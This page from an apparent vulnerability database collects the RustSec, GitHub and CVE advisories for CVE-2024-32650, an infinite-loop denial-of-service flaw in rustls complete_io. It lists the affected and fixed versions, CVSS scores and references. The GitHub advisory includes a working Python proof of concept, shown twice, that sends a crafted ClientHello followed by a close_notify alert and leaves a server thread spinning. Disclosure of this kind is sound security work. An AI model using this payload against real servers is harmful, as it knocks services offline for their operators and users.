Vulnerability-Lookup

rustsec-2024-0336

Vulnerability from osv_rustsec

Published

2024-04-19 12:00

Modified

2024-04-20 02:21

Summary

`rustls::ConnectionCommon::complete_io` could fall into an infinite loop based on network input

Details

If a close_notify alert is received during a handshake, complete_io does not terminate.

Callers which do not call complete_io are not affected.

rustls-tokio and rustls-ffi do not call complete_io and are not affected.

rustls::Stream and rustls::StreamOwned types use complete_io and are affected.

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "categories": [
          "denial-of-service"
        ],
        "cvss": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
        "informational": null
      },
      "ecosystem_specific": {
        "affected_functions": null,
        "affects": {
          "arch": [],
          "functions": [
            "rustls::ConnectionCommon::complete_io"
          ],
          "os": []
        }
      },
      "package": {
        "ecosystem": "crates.io",
        "name": "rustls",
        "purl": "pkg:cargo/rustls"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.0.0-0"
            },
            {
              "fixed": "0.21.11"
            },
            {
              "introduced": "0.22.0"
            },
            {
              "fixed": "0.22.4"
            },
            {
              "introduced": "0.23.0"
            },
            {
              "fixed": "0.23.5"
            }
          ],
          "type": "SEMVER"
        }
      ],
      "versions": []
    }
  ],
  "aliases": [
    "CVE-2024-32650",
    "GHSA-6g7w-8wpp-frhj"
  ],
  "database_specific": {
    "license": "CC0-1.0"
  },
  "details": "If a `close_notify` alert is received during a handshake, `complete_io`\ndoes not terminate.\n\nCallers which do not call `complete_io` are not affected.\n\n`rustls-tokio` and `rustls-ffi` do not call `complete_io`\nand are not affected.\n\n`rustls::Stream` and `rustls::StreamOwned` types use\n`complete_io` and are affected.",
  "id": "RUSTSEC-2024-0336",
  "modified": "2024-04-20T02:21:14Z",
  "published": "2024-04-19T12:00:00Z",
  "references": [
    {
      "type": "PACKAGE",
      "url": "https://crates.io/crates/rustls"
    },
    {
      "type": "ADVISORY",
      "url": "https://rustsec.org/advisories/RUSTSEC-2024-0336.html"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/rustls/rustls/security/advisories/GHSA-6g7w-8wpp-frhj"
    }
  ],
  "related": [],
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "`rustls::ConnectionCommon::complete_io` could fall into an infinite loop based on network input"
}

GHSA-6G7W-8WPP-FRHJ

Vulnerability from github – Published: 2024-04-19 19:46 – Updated: 2024-05-21 17:23

Summary

Denial of Service Vulnerability in Rustls Library

Details

Summary

rustls::ConnectionCommon::complete_io could fall into an infinite loop based on network input.

Details

Verified at 0.22 and 0.23 rustls, but 0.21 and 0.20 release lines are also affected. tokio-rustls and rustls-ffi do not call complete_io and are not affected. rustls::Stream and rustls::StreamOwned types use complete_io and are affected.

When using a blocking rustls server, if a client send a close_notify message immediately after client_hello, the server's complete_io will get in an infinite loop where:

eof: false
until_handshaked: true
self.is_handshaking(): true
self.wants_write(): false
self.wants_read(): false

PoC

Run simple server: cargo run --bin simpleserver test-ca/rsa/end.fullchain test-ca/rsa/end.key
Run following python script ```python3 #!/usr/bin/env python3

import socket

sock = socket.socket() sock.connect(("localhost", 4443))

print("Sending client hello...")

Fake handshake data of a client hello message.

fake_handshake = """ 1603 0100 c801 0000 c403 03ec 12dd 1764 a439 fd7e 8c85 46b8 4d1e a06e b3d7 a051 f03c b817 470d 4c54 c5df 7200 001c eaea c02b c02f c02c c030 cca9 cca8 c013 c014 009c 009d 002f 0035 000a 0100 007f dada 0000 ff01 0001 0000 0000 1600 1400 0011 7777 772e 7769 6b69 7065 6469 612e 6f72 6700 1700 0000 2300 0000 0d00 1400 1204 0308 0404 0105 0308 0505 0108 0606 0102 0100 0500 0501 0000 0000 0012 0000 0010 000e 000c 0268 3208 6874 7470 2f31 2e31 7550 0000 000b 0002 0100 000a 000a 0008 1a1a 001d 0017 0018 1a1a 0001 00 """

def parse_fake_handshake(): i = 0 data = bytearray() while i < len(fake_handshake): while i < len(fake_handshake) and fake_handshake[i].isspace(): i += 1 if i >= len(fake_handshake): return data
```
    c1 = fake_handshake[i]
    c2 = fake_handshake[i + 1]
    i += 2

    data.append(int(c1, 16) * 16 + int(c2, 16))
return data
```
data = parse_fake_handshake()

print("Fake client hello:", data)

sock.send(data)

Send close_notify alert that we're closing the connection.

close_data = bytearray([0x15, 0x03, 0x03, 0x00, 0x02, 0x01, 0x00]) print(f"close_notify is {close_data}") sock.send(close_data) print("close_notify sent")

exit(0) `` 4. You could observe the server process get into 100% cpu usage, and if you add logging at beginning ofrustls::conn::ConnectionCommon::complete_io`, you could see the function is spinning.

Also note that the server thread is stuck in this infinite loop even if the client closes the socket.

Impact

This is a DOS.

A multithread non-async server that uses rustls could be attacked by getting few requests like above (each request could cause one thread to spin) and stop handling normal requests.

Severity ?

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.23.4"
      },
      "package": {
        "ecosystem": "crates.io",
        "name": "rustls"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.23.0"
            },
            {
              "fixed": "0.23.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.22.3"
      },
      "package": {
        "ecosystem": "crates.io",
        "name": "rustls"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.22.0"
            },
            {
              "fixed": "0.22.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.21.10"
      },
      "package": {
        "ecosystem": "crates.io",
        "name": "rustls"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.21.0"
            },
            {
              "fixed": "0.21.11"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "rustls"
      },
      "versions": [
        "0.20"
      ]
    }
  ],
  "aliases": [
    "CVE-2024-32650"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-835"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-04-19T19:46:57Z",
    "nvd_published_at": "2024-04-19T16:15:10Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n`rustls::ConnectionCommon::complete_io` could fall into an infinite loop based on network input.\n\n### Details\n\nVerified at `0.22` and `0.23` `rustls`, but `0.21` and `0.20` release lines are also affected. `tokio-rustls` and `rustls-ffi` do not call `complete_io` and are not affected. `rustls::Stream` and `rustls::StreamOwned` types use `complete_io` and are affected.\n\nWhen using a blocking rustls server, if a client send a `close_notify` message immediately after `client_hello`, the server\u0027s `complete_io` will get in an infinite loop where:\n\n- `eof`: false\n- `until_handshaked`: true\n- `self.is_handshaking()`: true\n- `self.wants_write()`: false\n- `self.wants_read()`: false\n\n\n### PoC\n\n1. Run simple server: `cargo run --bin simpleserver test-ca/rsa/end.fullchain test-ca/rsa/end.key`\n2. Run following python script\n    ```python3\n    #!/usr/bin/env python3\n    \n    import socket\n    \n    sock = socket.socket()\n    sock.connect((\"localhost\", 4443))\n    \n    print(\"Sending client hello...\")\n    \n    # Fake handshake data of a client hello message.\n    fake_handshake = \"\"\"\n    1603 0100 c801 0000 c403 03ec 12dd\n    1764 a439 fd7e 8c85 46b8 4d1e a06e b3d7\n    a051 f03c b817 470d 4c54 c5df 7200 001c\n    eaea c02b c02f c02c c030 cca9 cca8 c013\n    c014 009c 009d 002f 0035 000a 0100 007f\n    dada 0000 ff01 0001 0000 0000 1600 1400\n    0011 7777 772e 7769 6b69 7065 6469 612e\n    6f72 6700 1700 0000 2300 0000 0d00 1400\n    1204 0308 0404 0105 0308 0505 0108 0606\n    0102 0100 0500 0501 0000 0000 0012 0000\n    0010 000e 000c 0268 3208 6874 7470 2f31\n    2e31 7550 0000 000b 0002 0100 000a 000a\n    0008 1a1a 001d 0017 0018 1a1a 0001 00\n    \"\"\"\n    \n    \n    def parse_fake_handshake():\n        i = 0\n        data = bytearray()\n        while i \u003c len(fake_handshake):\n            while i \u003c len(fake_handshake) and fake_handshake[i].isspace():\n                i += 1\n            if i \u003e= len(fake_handshake):\n                return data\n    \n            c1 = fake_handshake[i]\n            c2 = fake_handshake[i + 1]\n            i += 2\n    \n            data.append(int(c1, 16) * 16 + int(c2, 16))\n        return data\n    \n    \n    data = parse_fake_handshake()\n    \n    print(\"Fake client hello:\", data)\n    \n    sock.send(data)\n    \n    # Send close_notify alert that we\u0027re closing the connection.\n    close_data = bytearray([0x15, 0x03, 0x03, 0x00, 0x02, 0x01, 0x00])\n    print(f\"close_notify is {close_data}\")\n    sock.send(close_data)\n    print(\"close_notify sent\")\n    \n    exit(0)\n    ```\n4. You could observe the server process get into 100% cpu usage, and if you add logging at beginning of `rustls::conn::ConnectionCommon::complete_io`, you could see the function is spinning.\n\nAlso note that the server thread is stuck in this infinite loop even if the client closes the socket.\n\n### Impact\n\nThis is a DOS.\n\nA multithread non-async server that uses `rustls` could be attacked by getting few requests like above (each request could cause one thread to spin) and stop handling normal requests.\n",
  "id": "GHSA-6g7w-8wpp-frhj",
  "modified": "2024-05-21T17:23:33Z",
  "published": "2024-04-19T19:46:57Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/rustls/rustls/security/advisories/GHSA-6g7w-8wpp-frhj"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-32650"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rustls/rustls/commit/2123576840aa31043a31b0770e6572136fbe0c2d"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rustls/rustls/commit/5374108df698e78c3e9ef8265cac311556be24af"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rustls/rustls/commit/6e938bcfe82a9da7a2e1cbf10b928c7eca26426e"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rustls/rustls/commit/ebcb4782f23b4edf9b10a7065d9e8d4362439d9c"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rustls/rustls/commit/f45664fbded03d833dffd806503d3c8becd1b71e"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/rustls/rustls"
    },
    {
      "type": "WEB",
      "url": "https://rustsec.org/advisories/RUSTSEC-2024-0336.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Denial of Service Vulnerability in Rustls Library"
}

CVE-2024-32650 (GCVE-0-2024-32650)

Vulnerability from cvelistv5 – Published: 2024-04-19 16:05 – Updated: 2024-08-02 02:13

Title

Rustls vulnerable to an infinite loop in rustls::conn::ConnectionCommon::complete_io() with proper client input

Summary

Rustls is a modern TLS library written in Rust. `rustls::ConnectionCommon::complete_io` could fall into an infinite loop based on network input. When using a blocking rustls server, if a client send a `close_notify` message immediately after `client_hello`, the server's `complete_io` will get in an infinite loop. This vulnerability is fixed in 0.23.5, 0.22.4, and 0.21.11.

Severity ?

7.5 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CWE

CWE-835 - Loop with Unreachable Exit Condition ('Infinite Loop')

Assigner

GitHub_M

References

URL

Tags

	https://github.com/rustls/rustls/security/advisor…	x_refsource_CONFIRM
	https://github.com/rustls/rustls/commit/212357684…	x_refsource_MISC
	https://github.com/rustls/rustls/commit/6e938bcfe…	x_refsource_MISC
	https://github.com/rustls/rustls/commit/f45664fbd…	x_refsource_MISC

Impacted products

	Vendor	Product	Version
	rustls	rustls	Affected: >= 0.23.0, < 0.23.5 Affected: >= 0.22.0, < 0.22.4 Affected: >= 0.21.0, < 0.21.11 Affected: = 0.20.0

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "affected": [
          {
            "cpes": [
              "cpe:2.3:a:rustls_project:rustls:*:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "rustls",
            "vendor": "rustls_project",
            "versions": [
              {
                "status": "unknown",
                "version": "0.21.11"
              }
            ]
          }
        ],
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-32650",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-04-22T15:34:25.994212Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-06-04T17:49:50.274Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T02:13:40.195Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "name": "https://github.com/rustls/rustls/security/advisories/GHSA-6g7w-8wpp-frhj",
            "tags": [
              "x_refsource_CONFIRM",
              "x_transferred"
            ],
            "url": "https://github.com/rustls/rustls/security/advisories/GHSA-6g7w-8wpp-frhj"
          },
          {
            "name": "https://github.com/rustls/rustls/commit/2123576840aa31043a31b0770e6572136fbe0c2d",
            "tags": [
              "x_refsource_MISC",
              "x_transferred"
            ],
            "url": "https://github.com/rustls/rustls/commit/2123576840aa31043a31b0770e6572136fbe0c2d"
          },
          {
            "name": "https://github.com/rustls/rustls/commit/6e938bcfe82a9da7a2e1cbf10b928c7eca26426e",
            "tags": [
              "x_refsource_MISC",
              "x_transferred"
            ],
            "url": "https://github.com/rustls/rustls/commit/6e938bcfe82a9da7a2e1cbf10b928c7eca26426e"
          },
          {
            "name": "https://github.com/rustls/rustls/commit/f45664fbded03d833dffd806503d3c8becd1b71e",
            "tags": [
              "x_refsource_MISC",
              "x_transferred"
            ],
            "url": "https://github.com/rustls/rustls/commit/f45664fbded03d833dffd806503d3c8becd1b71e"
          }
        ],
        "title": "CVE Program Container"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "rustls",
          "vendor": "rustls",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 0.23.0, \u003c 0.23.5"
            },
            {
              "status": "affected",
              "version": "\u003e= 0.22.0, \u003c 0.22.4"
            },
            {
              "status": "affected",
              "version": "\u003e= 0.21.0, \u003c 0.21.11"
            },
            {
              "status": "affected",
              "version": "= 0.20.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Rustls is a modern TLS library written in Rust. `rustls::ConnectionCommon::complete_io` could fall into an infinite loop based on network input. When using a blocking rustls server, if a client send a `close_notify` message immediately after `client_hello`, the server\u0027s `complete_io` will get in an infinite loop. This vulnerability is fixed in 0.23.5, 0.22.4, and 0.21.11."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-835",
              "description": "CWE-835: Loop with Unreachable Exit Condition (\u0027Infinite Loop\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2024-04-19T19:47:45.579Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/rustls/rustls/security/advisories/GHSA-6g7w-8wpp-frhj",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/rustls/rustls/security/advisories/GHSA-6g7w-8wpp-frhj"
        },
        {
          "name": "https://github.com/rustls/rustls/commit/2123576840aa31043a31b0770e6572136fbe0c2d",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/rustls/rustls/commit/2123576840aa31043a31b0770e6572136fbe0c2d"
        },
        {
          "name": "https://github.com/rustls/rustls/commit/6e938bcfe82a9da7a2e1cbf10b928c7eca26426e",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/rustls/rustls/commit/6e938bcfe82a9da7a2e1cbf10b928c7eca26426e"
        },
        {
          "name": "https://github.com/rustls/rustls/commit/f45664fbded03d833dffd806503d3c8becd1b71e",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/rustls/rustls/commit/f45664fbded03d833dffd806503d3c8becd1b71e"
        }
      ],
      "source": {
        "advisory": "GHSA-6g7w-8wpp-frhj",
        "discovery": "UNKNOWN"
      },
      "title": "Rustls vulnerable to an infinite loop in rustls::conn::ConnectionCommon::complete_io() with proper client input"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2024-32650",
    "datePublished": "2024-04-19T16:05:44.050Z",
    "dateReserved": "2024-04-16T14:15:26.876Z",
    "dateUpdated": "2024-08-02T02:13:40.195Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1"
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

rustsec-2024-0336

Vulnerability from osv_rustsec

GHSA-6G7W-8WPP-FRHJ

Summary

Details

PoC

Fake handshake data of a client hello message.

Send close_notify alert that we're closing the connection.

Impact

CVE-2024-32650 (GCVE-0-2024-32650)

Tags

Sightings

Nomenclature